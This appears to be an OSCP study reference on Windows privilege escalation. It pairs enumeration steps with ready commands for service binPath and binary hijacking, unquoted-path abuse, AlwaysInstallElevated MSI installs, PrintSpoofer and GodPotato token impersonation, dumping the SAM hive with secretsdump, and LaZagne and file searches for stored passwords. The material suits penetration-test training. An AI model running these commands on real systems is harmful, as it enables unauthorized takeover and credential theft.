OSCP Reference

10.10 Windows Privilege Escalation Cheatsheet

Starting with a Windows shell?

Identify your token, host and effective permissions.

Start the first checks →
Found a service candidate?

Validate service control, the executed object and the available trigger.

Follow the finding →

← Cheatsheet index | Full procedure | Credential use | Strategy map | Study methods: Escalate privileges on Windows

TOKEN → CONTROLLED INPUT → EFFECTIVE RIGHT → PRIVILEGED CONSUMER → RUN-AS → TRIGGER → VERIFIED EFFECT

10.10.1 Find escalation candidates with an initial tool-assisted survey Early tool-assisted pass

Use a reviewed, transferred build in the current host context. Save output and select a concrete finding; a highlight is not the elevated identity.

whoami /all
winPEASx64.exe log

Tool-to-finding workflow.

10.10.2 Establish your Windows identity, token and host context Token and host baseline

hostname
whoami /all
systeminfo
ipconfig /all
route print
netstat -ano
tasklist /svc
query user
net user
net localgroup Administrators
driverquery /v
Get-ComputerInfo | Select WindowsProductName,WindowsVersion,OsBuildNumber,OsArchitecture
Get-HotFix | Sort InstalledOn -Descending
Get-CimInstance Win32_Process | Select ProcessId,Name,ExecutablePath,CommandLine
Get-CimInstance Win32_Service | Select Name,StartName,State,StartMode,PathName
Get-CimInstance Win32_SystemDriver | Select Name,State,StartMode,PathName

Record integrity level, enabled/deny-only groups and enabled/present privileges. Medium-integrity Administrators membership is not a high-integrity process. Prefer CIM; WMIC may be absent. Get-HotFix is not a complete update inventory.

10.10.3 Verify what you can modify with your current token Effective ACLs

icacls "C:\Path\To\OBJECT"
sc.exe sdshow SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\OBJECT"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE

F full · M modify · RX read/execute · R read · W write · D delete · I inherited · OI object inherit · CI container inherit.

File, directory, registry, service and task ACLs are distinct. Check the exact object/right and current enabled SID. MIC can still block write-up.

10.10.4 Find usable credentials in accessible Windows artifacts Credentials and artifacts

cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
dir /s /b C:\Windows\Panther\*unattend*.xml C:\Windows\System32\Sysprep\*.xml 2>nul
dir /s /b C:\Users\*.kdbx C:\Users\*.rdp C:\Users\id_rsa C:\Users\*.ppk 2>nul
Get-Content -LiteralPath (Get-PSReadLineOption).HistorySavePath -ErrorAction SilentlyContinue
Get-ChildItem C:\inetpub,C:\ProgramData,C:\Users -Recurse -File -ErrorAction SilentlyContinue |
  Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd','.yml','.yaml','.json' } |
  Select-String 'password|passwd|secret|token|connectionString|user id=' -CaseSensitive:$false

cmdkey proves a target-bound stored entry, not plaintext. DPAPI artifacts need the protecting user/machine context. Classify identity/type/scope before reuse.

10.10.5 Check whether you control a privileged service or its executable Services

Run/context: in the current Windows foothold, using its effective token; service names and paths refer to this host. Decide: a modifiable file is useful only if a privileged service actually consumes it and a trigger is available. Validate effective ACLs; a path-with-spaces lead belongs to unquoted service paths, not an assumed service-configuration right.

Get-CimInstance Win32_Service | Select Name,StartName,State,StartMode,PathName
sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE

Need control + higher SERVICE_START_NAME + trigger. SERVICE_CHANGE_CONFIG, start and stop are separate rights. Use sc.exe in PowerShell; bare sc may be Set-Content.

10.10.5.1 Change service path and restore
sc.exe qc SERVICE
sc.exe config SERVICE binPath= "C:\Windows\Temp\PAYLOAD_EXE"
sc.exe stop SERVICE
sc.exe start SERVICE
sc.exe config SERVICE binPath= "ORIGINAL_BINARY_PATH"

Space after binPath= is required. Error 1053 may still follow payload execution; verify effect and restore.

10.10.5.2 Replace writable binary
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE

Check parent delete/create rights, file locks, architecture and recovery.

10.10.6 Check whether an unquoted service path reaches a location you can write Unquoted service paths

Verify the selected service identity, effective control and required trigger; reachability alone is insufficient.
Get-CimInstance Win32_Service |
  Where-Object { $_.PathName -match '\s' -and $_.PathName -notmatch '^\s*"' } |
  Select Name,StartName,State,StartMode,PathName
icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
sc.exe qc SERVICE

For C:\Program Files\Vendor App\svc.exe, prove an earlier missing prefix such as C:\Program.exe or C:\Program Files\Vendor.exe is creatable, service runs higher and trigger exists.

icacls "C:\Path\To\Application"
sc.exe qc SERVICE
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"

Need observed exact DLL request/load, selected writable searched directory, bitness/exports, privileged process and trigger. Account for redirection, API sets, SxS, loaded modules, KnownDLLs and application search flags. Procmon CreateFile + .dll + NAME NOT FOUND is useful when available.

10.10.8 Find privileged tasks or startup consumers you can influence Scheduled tasks and startup consumers

Check the privileged consumer, controlled input and actual schedule or trigger.
schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml
icacls "C:\Path\To\task-script.ps1"
icacls "C:\Path\To"
schtasks /run /tn "\FOLDER\TASK"
Get-ScheduledTask | ForEach-Object {
  $t=$_
  [pscustomobject]@{Task="$($t.TaskPath)$($t.TaskName)";User=$t.Principal.UserId;RunLevel=$t.Principal.RunLevel;Actions=($t.Actions|Out-String).Trim()}
}
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

Need writable consumed action/file plus higher principal and reliable trigger. Highest is relative to the task principal. /run accepted is not execution proof.

10.10.9 Check installer policy and the elevation limits of your token AlwaysInstallElevated and UAC

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msiexec.exe /quiet /qn /i C:\Path\To\PAYLOAD.msi

Run only if both values are 0x1.

whoami /groups
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

UAC bypass normally raises an already-admin filtered token; it is not ordinary standard-user escalation.

10.10.10 Check whether your token privileges support an escalation route Token privileges

whoami /priv
PrivilegeDo not proceed until
SeImpersonatePrivilegePrivileged auth trigger, build/arch/runtime and tool match
SeAssignPrimaryTokenPrivilegeUseful token and process-creation requirements match
SeBackupPrivilegePrivilege enabled and backup-aware read has useful target
SeRestorePrivilegeRestore-aware write feeds a privileged consumer
SeDebugPrivilegeTarget process is useful and not protected from access
SeLoadDriverPrivilegeDriver is compatible/loadable/exploitable; crash risk accepted
SeTakeOwnershipPrivilegeOwnership can become DACL/content control over a consumed object
10.10.10.1 Impersonation variants
PrintSpoofer64.exe -i -c "cmd.exe"
GodPotato-NET4.exe -cmd "cmd.exe /c whoami > C:\Windows\Temp\token-proof.txt"

Pick by actual prerequisite, not “Potato” name. Verify a SYSTEM process/effect with whoami /all.

10.10.10.2 Backup privilege to local hashes
reg save HKLM\SAM C:\Windows\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

Matched hives produce local credential material, not automatic SYSTEM or remote authorization.

10.10.11 Assess software and driver candidates against the exact host build Software, drivers and kernel

Use a matching affected build/configuration only after stronger permission-backed candidates have been assessed.
Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*',
                 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' -ErrorAction SilentlyContinue |
  Select DisplayName,DisplayVersion,Publisher,InstallLocation
systeminfo
driverquery /v

Order: deterministic config/credential → exact privileged app → exact driver → kernel last. Validate build, cumulative update, architecture, component/config, exploit source and stability. Avoid Win32_Product.

10.10.12 Investigate remaining gaps with a focused automated survey Automated candidate generation

winPEASx64.exe log
Seatbelt.exe -group=system -outputfile="C:\Windows\Temp\seatbelt-system.txt"
Seatbelt.exe -group=user -q -outputfile="C:\Windows\Temp\seatbelt-user.json"
powershell.exe -ExecutionPolicy Bypass -Command ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report TXT,HTML"
Import-Module .\PowerUp.ps1
Invoke-AllChecks

Validate every highlight manually. PrivescCheck may skip checks when elevated; Seatbelt has no official prebuilt binaries; PowerUp upstream is archived. Tool block/failure routes to native checks.

10.10.13 Choose the next check from the failure you observed Failure routing

SymptomNext action
Service config deniedService DACL/current token; then binary/DLL/config
No service restart rightBoot/dependency trigger or another path
Unquoted but no writable prefixDisprove
DLL never requestedSearch/load evidence, bitness and trigger
Task accepted/no effectAction, conditions, working directory, LastTaskResult/history
Token tool failsPrivilege state, build, runtime and trigger prerequisite
Hashes/no higher shellCredential type, account state, protocol and authorization
Enumerator blockedNative checks; not “no findings”

10.10.14 Verify and re-enumerate

whoami /all
hostname
ipconfig /all

Re-enumerate credentials, services, tasks, sessions, listeners, routes and domain context after every identity/integrity change.

10.10.15 Recover supported application stores with LaZagne

Use a reviewed build in the relevant user's context; system-protected stores can require elevation.

REM Start with the relevant application family
laZagne.exe browsers
REM Broader collection with a text report
laZagne.exe all -oN

Keep application, account and source with each value. Test it against the matching service. Empty output → check profile/decryption access and use manual config/history/vault checks. Full Windows credential hunting.

10.10.16 Discover and recognize candidates

Use these discovery checks to find a candidate, then validate the missing conditions. Cues are illustrative; complete synthetic outputs and three-outcome examples are in the linked study entries.

10.10.16.1 Escalate privileges on Windows

10.10.16.1.1 Find: Establish Windows token, host and process context

At a new foothold inspect the complete token and host/service inventory before classifying the session as an administrator.

whoami /all
systeminfo
tasklist /svc

Recognize: An Administrators SID exists but this effective process is filtered/medium-integrity.

Validate next: Check actual enabled privileges and object operations in the process that will perform the action.

Establish Windows token, host and process context.

10.10.16.1.2 Commands and use-case variants

Need: A verified Windows foothold with a known token, integrity level and groups. A functioning command channel and the actual effective token/process context

hostname
whoami /all
systeminfo
ipconfig /all
route print
netstat -ano
tasklist /svc
query user
net user
net localgroup Administrators
driverquery /v
Get-ComputerInfo | Select-Object WindowsProductName,WindowsVersion,OsBuildNumber,OsArchitecture
Get-HotFix | Sort-Object InstalledOn -Descending
Get-CimInstance Win32_Process | Select-Object ProcessId,Name,ExecutablePath,CommandLine
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,StartMode,PathName
Get-LocalUser
Get-LocalGroupMember Administrators

Interpret: record user SID, integrity label, enabled/deny-only groups and present/enabled privileges. Administrator membership with Medium integrity is a filtered token, not a high-integrity process. Get-HotFix does not list every update; use build/KB output only to form a version hypothesis.

10.10.16.1.3 WMIC compatibility fallbacks
wmic qfe get HotFixID,InstalledOn
wmic service get Name,StartName,State,StartMode,PathName
wmic process get ProcessId,Name,ExecutablePath,CommandLine

WMIC is deprecated and may be absent on newer systems; PowerShell CIM is the baseline.

whoami /all
hostname
ipconfig /all

After a higher token, re-enumerate protected credentials, services, tasks, sessions, listeners, routes and domain context. Preserve the command, relevant output, trigger and restoration step. For exam use, recheck the current OffSec guide: Windows full-privilege evidence requires SYSTEM, Administrator or an account with Administrator privileges, and AI/LLM use is prohibited during the exam and report phase.

Verify: Verify represented user/SID, enabled group/privilege state and actual privileged operation.

If it fails: A prompt title or account name is insufficient. WMIC may be absent; use the documented CIM/PowerShell alternatives.

10.10.16.1.4 Find: Prove effective file, registry and service-object permissions

Take a real service/task/application path from inventory, then inspect its file, parent and separate service-object permissions.

icacls "C:\Path\To\OBJECT"
icacls "C:\Path\To"
sc.exe sdshow SERVICE

Recognize: A modifiable parent can differ from a read-only file; service configuration rights are another control plane.

Validate next: Use icacls/Get-Acl on the reported object and parents. For a service also inspect sc qc/sc sdshow; for a task inspect its action/principal. Check the specific write/replace/configuration operation and its trigger.

Prove effective file, registry and service-object permissions.

10.10.16.1.5 Find: Recover Windows application, history and stored-credential artifacts

Follow actual application/configuration paths, PSReadLine history and saved-credential targets under the current readable user context.

cmdkey /list
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName

Recognize: A target-bound saved credential is a possible consumer capability, not a plaintext password.

Validate next: Establish protecting user/context, intended logon type and an actually permitted saved-credential or decryption route.

Recover Windows application, history and stored-credential artifacts.

10.10.16.1.6 Commands and use-case variants

Need: A verified Windows foothold with a known token, integrity level and groups. Artifact read permission and exact protecting identity/context for saved or DPAPI material

10.10.16.1.6.1 Find usable credentials in accessible Windows artifacts Stored credentials and PowerShell trails
cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
$history = (Get-PSReadLineOption).HistorySavePath
$history
Get-Content -LiteralPath $history -ErrorAction SilentlyContinue
Get-ItemProperty 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-ItemProperty 'HKCU:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -ErrorAction SilentlyContinue |
  Where-Object Id -in 4103,4104 | Select-Object -First 50 TimeCreated,Id,Message

A cmdkey entry is target/context-bound and does not reveal a password. DPAPI-protected data needs the protecting user/machine context and keys. Clear-History does not necessarily clear PSReadLine's saved file.

10.10.16.1.6.1.1 Targeted application/file/registry search
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
dir /s /b C:\Windows\Panther\*unattend*.xml C:\Windows\System32\Sysprep\*.xml 2>nul
dir /s /b C:\Users\*.kdbx C:\Users\*.rdp C:\Users\id_rsa C:\Users\*.ppk 2>nul
Get-ChildItem C:\inetpub,C:\ProgramData,C:\Users -Recurse -File -ErrorAction SilentlyContinue |
  Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd','.yml','.yaml','.json' } |
  Select-String -Pattern 'password|passwd|secret|token|connectionString|user id=' -CaseSensitive:$false

Search from observed applications first. Classify every value by identity, format, scope and compatible service, then use the credential procedure.

10.10.16.1.6.1.2 Saved credential consumer
runas /savecred /user:DOMAIN\USER cmd.exe

Use only when cmdkey/context supports that identity and logon type. runas does not inherently bypass UAC; verify the resulting token with whoami /all.

10.10.16.1.6.1.3 LaZagne — recover application credentials in the current user's context

Use a reviewed Windows build after identifying the current user and installed applications. Start with the relevant family; run broader collection only when useful. User-protected stores depend on that user's profile/decryption context; system-protected stores can need an elevated token.

10.10.16.1.6.1.4 Browser-store leads for the current user
REM Browser-store leads for the current user
laZagne.exe browsers
10.10.16.1.6.1.5 Broader recovery, with a local text report
REM Broader recovery, with a local text report
laZagne.exe all -oN

Read: preserve the reported application/account/source with each recovered value. Test a matching service using the credential procedure; a recovered application password is not automatically a domain password. Empty output can mean no supported store, inaccessible profile or failed decryption. Follow manual history/config/vault checks instead of assuming there are no credentials.

LaZagne upstream.

Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $_.Name -match 'pass|cred|config|backup|unattend|\.env' }
Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd' } |
  Select-String -Pattern 'password|passwd|secret|token|connectionString' -CaseSensitive:$false

Avoid searching the entire filesystem without a reason; scope reduces noise, access errors and sensitive-data overcollection.

Verify: Tie each value to a source/account/service and verify any new token with whoami /all.

If it fails: Protected blobs, stale history and saved credentials for a different target require their own keys/context or a different route.

10.10.16.1.7 Find: Change a privileged service's executable configuration

Inventory service accounts/paths, select a higher-identity service and query its effective service-object rights with the current token.

Get-CimInstance Win32_Service | Select-Object Name,StartName,State,PathName
sc.exe qc SERVICE
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE

Recognize: Configuration-change and start rights on the same higher-identity service are promising; file ACLs alone would not prove them.

Validate next: Use sc qc to read the service account and command, sc sdshow/AccessChk to verify configuration rights and sc query to inspect state. Confirm an allowed start/restart trigger before changing the service, then verify whoami.

Change a privileged service's executable configuration.

10.10.16.1.8 Commands and use-case variants

Need: A verified Windows foothold with a known token, integrity level and groups. Configuration-change right, accessible compatible payload path and a separate start/restart trigger

Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName
sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\service.exe"

Need: control of service config, exact binary/script, searched prefix, DLL/config/plugin, or relevant DACL; higher SERVICE_START_NAME; and a start/restart/boot trigger. In PowerShell use sc.exe, because bare sc can resolve to Set-Content.

Preserve BINARY_PATH_NAME, account and start mode first:

sc.exe qc SERVICE
sc.exe config SERVICE binPath= "C:\Windows\Temp\PAYLOAD_EXE"
sc.exe stop SERVICE
sc.exe start SERVICE

Restore:

sc.exe config SERVICE binPath= "ORIGINAL_BINARY_PATH"

SERVICE_CHANGE_CONFIG controls binPath; start/stop are separate rights. The space after binPath= is required. Error 1053 may mean a non-service payload ran but did not answer the Service Control Manager; verify the intended effect.

10.10.16.1.9 Writable service binary or replaceable parent
sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE

A parent with delete/create rights can permit replacement even when the file is not directly writable. Confirm architecture, file locks, recovery copy and exact trigger.

Verify: Verify the payload's effect and service execution identity, then restore the saved configuration.

If it fails: Access denied on config is different from trigger denial or an incompatible binary. Preserve original binPath and use sc.exe explicitly in PowerShell.

10.10.16.1.10 Find: Replace a privileged service binary or consumed file

From service inventory follow the exact executable/script path and inspect both its own ACL and its parent's replacement rights.

sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"

Recognize: A higher-identity service consumes a potentially replaceable file in a modifiable directory.

Validate next: Use sc qc to locate the real binary and account, then icacls on that file and its parent. Confirm replacement rights and an available privileged service start/restart; a writable unrelated file is insufficient.

Replace a privileged service binary or consumed file.

10.10.16.1.11 Find: Exploit an unquoted service path with a writable earlier prefix

List service command lines and accounts, then inspect every earlier executable prefix in the actual unquoted path.

Get-CimInstance Win32_Service | Select-Object Name,StartName,State,PathName

Recognize: Spaces plus absent executable quoting create candidate earlier prefixes; writable placement and trigger remain unproved.

Validate next: Read the unquoted service command with sc qc. Check each earlier executable prefix for write/create access with icacls; confirm the service account and restart trigger. Spaces alone do not make the path exploitable.

Exploit an unquoted service path with a writable earlier prefix.

10.10.16.1.12 Commands and use-case variants

Need: A verified Windows foothold with a known token, integrity level and groups. An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists

Get-CimInstance Win32_Service |
  Where-Object { $_.PathName -match '\s' -and $_.PathName -notmatch '^\s*"' } |
  Select-Object Name,StartName,State,StartMode,PathName

For C:\Program Files\Vendor App\service.exe -d, check every attempted prefix:

icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
sc.exe qc SERVICE

Confirmed only if: path contains spaces and is unquoted; an earlier attempted executable such as C:\Program.exe or C:\Program Files\Vendor.exe is absent and creatable; service runs higher; trigger exists. A listed unquoted path alone is a false positive.

Verify: Confirm the earlier prefix is actually selected after the trigger and verify its resulting token.

If it fails: A quoted path, existing protected earlier file, unwritable directory or absent trigger defeats the chain.

10.10.16.1.13 Find: Control a privileged DLL, helper or configuration load

Investigate a privileged application with observed dependency failures; if permitted, filter its runtime file loads in Procmon before checking candidate directory ACLs.

Procmon, when accessible: filter the actual process; inspect requested .dll paths and NAME NOT FOUND results.
Record the exact requested filename and every searched location.
Then inspect the selected location's effective ACL with the owning procedure.

Recognize: An actual requested missing dependency is stronger than guessing a DLL name, but does not prove an attacker-controlled resolution wins.

Validate next: Validate real privilege, search precedence/KnownDLLs/manifests, directory control, ABI/exports and a load trigger.

Control a privileged DLL, helper or configuration load.

10.10.16.1.14 Commands and use-case variants

Need: A verified Windows foothold with a known token, integrity level and groups. Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger

Confirm:

  1. exact DLL/helper/config name and architecture;
  2. privileged process actually requests it;
  3. selected attacker-writable location precedes the legitimate resolution;
  4. payload preserves required exports/behavior where necessary;
  5. reliable trigger exists.
icacls "C:\Path\To\Application"
sc.exe qc SERVICE
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode

Modern DLL resolution can apply redirection, API sets, side-by-side manifests, loaded modules, KnownDLLs, package dependencies and application-specific search flags before ordinary directories. Safe DLL search mode is enabled by default. In a suitable lab, Procmon filters for the process, CreateFile, .dll, and NAME NOT FOUND provide decisive runtime evidence; low-privilege remote use may be unavailable.

Verify: Verify the actual loaded path and privileged effect; a file placed on disk is not a completed chain.

If it fails: Wrong ABI/exports, earlier trusted resolution or no load trigger blocks the method.

10.10.16.1.15 Find: Control scheduled tasks, startup files or autostart consumers

Enumerate task definitions and inspect the action, principal, arguments and working directory before permission-checking its files.

schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml

Recognize: A named privileged task exposes a concrete consumer and action path to investigate.

Validate next: Read the task's exact action, principal and trigger with schtasks or Get-ScheduledTask. Check icacls on its file/parents and prove the stronger identity will consume the controlled path at a reachable trigger.

Control scheduled tasks, startup files or autostart consumers.

10.10.16.1.16 Commands and use-case variants

Need: A verified Windows foothold with a known token, integrity level and groups. Effective object control, a higher principal and a usable scheduled/logon/manual trigger

10.10.16.1.16.1 Find privileged tasks or startup consumers you can influence Scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml
Get-ScheduledTask | ForEach-Object {
  $t = $_
  [pscustomobject]@{
    TaskPath=$t.TaskPath; TaskName=$t.TaskName
    UserId=$t.Principal.UserId; RunLevel=$t.Principal.RunLevel
    Actions=($t.Actions | ForEach-Object { "$($_.Execute) $($_.Arguments) [wd=$($_.WorkingDirectory)]" }) -join '; '
  }
}
icacls "C:\Path\To\task-script.ps1"
icacls "C:\Path\To"
schtasks /run /tn "\FOLDER\TASK"

Prove action, arguments, working directory, principal, actual trigger and effective ACL. RunLevel Highest means the configured principal's highest available token, not SYSTEM. /run success means the request was accepted; verify process/effect and last-run result.

10.10.16.1.16.1.1 Run keys and startup consumers
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"

Need a modifiable consumed value/file plus a higher-privileged boot/logon/application trigger. A writable PATH directory matters only when a privileged consumer invokes an unqualified executable through that effective PATH.

Verify: Check the actual effect and token after the trigger; task-run acceptance alone is insufficient.

If it fails: Wrong principal, stale action, denied trigger or a different working directory can invalidate the candidate.

10.10.16.1.17 Find: Validate elevated installer policy and administrative-token context

Inspect both machine/user installer-policy values and the current token before inferring an elevated MSI or UAC-context route.

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
whoami /all

Recognize: One policy value is insufficient; the two-policy conjunction is the key recognition condition.

Validate next: For installer execution verify both applicable values and permitted MSI/runtime; assess UAC administrator/token prerequisites separately.

Validate elevated installer policy and administrative-token context.

10.10.16.1.18 Commands and use-case variants

Need: A verified Windows foothold with a known token, integrity level and groups. AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both values must be 0x1:

msiexec.exe /quiet /qn /i C:\Path\To\PAYLOAD.msi

One key or a zero value disproves the route. This is an unsafe installer policy, not a universal UAC bypass.

whoami /groups
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

A UAC bypass normally elevates an already-administrative filtered token. Build/policy-specific bypasses are not a baseline path for a standard user.

Verify: Verify both relevant conditions and actual resulting token; keep UAC-context claims narrower than full privilege escalation.

If it fails: One policy value, blocked MSI execution or an incompatible protected token defeats the assumed route.

10.10.16.1.19 Find: Select a privilege-backed impersonation or object-control route

Inspect the current token's privileges, then map a relevant privilege to an actual protected operation and available source/trigger.

whoami /priv
whoami /all

Recognize: An impersonation capability is present; the privileged authentication source required by a specific tool is not established.

Validate next: Read whoami /priv and whoami /all. Match the exact privilege, enabled state and token context to the technique's required API/trigger, then verify the resulting identity; the privilege name alone is not SYSTEM.

Select a privilege-backed impersonation or object-control route.

10.10.16.1.20 Commands and use-case variants

Need: A verified Windows foothold with a known token, integrity level and groups. The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context

whoami /priv
PrivilegeRequired next proof
SeImpersonatePrivilegeCompatible privileged client/coercion, impersonation level, build/runtime/tool and process creation
SeAssignPrimaryTokenPrivilegeUseful primary token plus process/quota requirements
SeBackupPrivilegeEnabled privilege, backup-aware read and useful protected data
SeRestorePrivilegeRestore-aware write plus privileged consumer/trigger
SeDebugPrivilegeUsable target process and no protected-process barrier
SeLoadDriverPrivilegeCompatible signed/loadable driver and stable exploit path
SeTakeOwnershipPrivilegeOwnership change, then DACL/content control and consumer
10.10.16.1.21 Impersonation-tool variants
PrintSpoofer64.exe -i -c "cmd.exe"
GodPotato-NET4.exe -cmd "cmd.exe /c whoami > C:\Windows\Temp\token-proof.txt"

Choose by OS build, architecture, runtime and available trigger. A privilege name alone does not select a working “Potato.” Success is a SYSTEM process/effect followed by whoami /all; connection/token/process errors route back to prerequisites.

10.10.16.1.22 Backup privilege to local credential material
reg save HKLM\SAM C:\Windows\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

Use the matched hive pair. Output is local credential material, not automatic SYSTEM/domain/remote authorization; classify and validate it through the credential procedure.

Verify: Verify the resulting token or concrete protected-object operation, not the tool's success text.

If it fails: Missing token source, filtered token, protected process or driver-signing/build differences change the route; inspect the specific prerequisite.

10.10.16.1.23 Find: Use backup privilege to obtain protected local credential material

Inspect the actual token for backup-related rights and distinguish a privilege-aware read API from an ordinary file copy.

whoami /priv

Recognize: The privilege is assigned but initially disabled; permitted software may enable it for backup-semantic reads.

Validate next: Check that the privilege can actually be used, supporting API/context, complete matched source set and writable output.

Use backup privilege to obtain protected local credential material.

10.10.16.1.24 Find: Select a matching application, driver or kernel exploit

Collect OS build/patch and relevant installed driver/application versions before comparing any local-exploit requirement.

Get-ComputerInfo | Select-Object OsBuildNumber,OsArchitecture
Get-HotFix
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,PathName

Recognize: The exact component/build is the candidate evidence; an OS-family name or one missing KB is insufficient.

Validate next: Verify vendor patch state, required driver/service/feature, architecture and PoC assumptions.

Select a matching application, driver or kernel exploit.

10.10.16.1.25 Commands and use-case variants

Need: A verified Windows foothold with a known token, integrity level and groups. Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions

Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*',
                 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' -ErrorAction SilentlyContinue |
  Select-Object DisplayName,DisplayVersion,Publisher,InstallLocation
systeminfo
driverquery /v

Prefer deterministic credential/permission/configuration paths. Then verify exact privileged application or driver version/configuration. Use kernel exploits last after exact build, architecture, cumulative update, mitigations, prerequisites, source and crash risk are checked. Avoid Win32_Product; it is slow and can trigger MSI repair.

Verify: Verify target hostname and resulting effective token; preserve reviewed PoC modifications privately.

If it fails: A crash or compilation success does not prove escalation. Wrong build, missing driver or mitigations require another supported path.

10.10.16.1.26 Find: Turn automated Windows findings into manually verified candidates

Select a reviewed tool after checking host/runtime; treat each highlighted service, token or path as a lead to native evidence.

whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode

Recognize: The enumerator located a configuration clue, not the full usable chain.

Validate next: Run winPEAS with log output, then inspect the exact reported service with sc qc/sc sdshow and its file with icacls. Check token highlights with whoami /priv. A collector's colored line is not the resulting elevated token.

Turn automated Windows findings into manually verified candidates.

10.10.16.1.27 Commands and use-case variants

Need: A verified Windows foothold with a known token, integrity level and groups. Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location

winPEASx64.exe log
Seatbelt.exe -group=system -outputfile="C:\Windows\Temp\seatbelt-system.txt"
Seatbelt.exe -group=user -q -outputfile="C:\Windows\Temp\seatbelt-user.json"
